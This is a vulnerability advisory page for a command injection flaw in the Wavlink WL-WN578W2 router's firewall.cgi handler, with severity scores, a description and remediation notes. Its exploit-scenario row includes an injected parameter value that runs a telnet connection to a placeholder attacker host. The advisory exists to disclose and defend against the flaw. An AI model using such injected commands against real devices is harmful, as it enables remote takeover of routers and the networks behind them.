Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
6DescriptionCVE.org
A vulnerability was found in Wavlink WL-WN578W2 221110. The impacted element is an unknown function of the file /cgi-bin/firewall.cgi of the component POST Request Handler. Performing a manipulation of the argument dmz_flag/del_flag results in command injection. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.
AnalysisAI
Wavlink WL-WN578W2 routers contain a command injection vulnerability in the /cgi-bin/firewall.cgi POST handler that allows authenticated attackers to execute arbitrary commands by manipulating the dmz_flag or del_flag parameters. The vulnerability is remotely exploitable and has public exploit code available, though no patch has been released. …
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| Risk Assessment | The CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L indicates network-accessible exploitation with low attack complexity but requiring prior authentication (PR:L), resulting in low confidentiality, integrity, and availability impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with a valid administrative credential (obtained through credential stuffing, phishing, or default credentials) authenticates to the router's web interface and submits a POST request to /cgi-bin/firewall.cgi with a malicious payload in the dmz_flag or del_flag parameter, such as 'on; telnet attacker.com 23', causing arbitrary shell commands to execute on the router. The attacker could then install a backdoor, redirect DNS traffic, launch man-in-the-middle attacks on network clients, or pivot to internal network resources. … |
| Remediation | No official firmware patch has been released from Wavlink. … Detailed patch versions, workarounds, and compensating controls in full report. |
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Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. …
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-14295
GHSA-xvp7-mx9h-8g48